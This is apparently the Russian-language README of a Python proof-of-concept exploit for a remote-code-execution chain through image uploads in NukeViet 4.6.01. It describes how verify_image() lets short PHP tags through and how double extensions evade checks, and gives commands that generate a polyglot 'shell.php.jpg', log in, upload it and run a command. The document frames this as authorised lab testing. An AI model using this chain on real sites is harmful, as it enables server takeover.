
Python PoC для цепочки RCE через загрузку изображений в NukeViet 4.6.01: генерирует полиглотный PHP-пейлоад и в авторизованной лабораторной среде выполняет вход, загружает его и запускает проверочную команду.
Авторизованный лабораторный PoC для описанной цепочки загрузки изображений в NukeViet:
verify_image() пропускает короткие открывающие теги PHP (<?)..php..php только в конце URI.Этот репозиторий не содержит учётных данных, токенов, cookie или конфигурации реальных целей. Запускайте только против собственной или явно авторизованной лаборатории.
requestsУстановка зависимости:
python3 -m pip install requests
Без сетевого запроса:
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
Скрипт выполняет: вход -> multipart-загрузку -> извлечение пути загруженного файла -> один запрос команды. Используйте безвредные проверочные команды, такие как id или whoami.
PoC демонстрирует воздействие только тогда, когда точная конфигурация цели приводит к выполнению PHP. Один лишь успешный проход генерации полезной нагрузки или совпадение на уровне исходного кода не доказывает RCE во время выполнения. Не запускайте его против сторонних систем.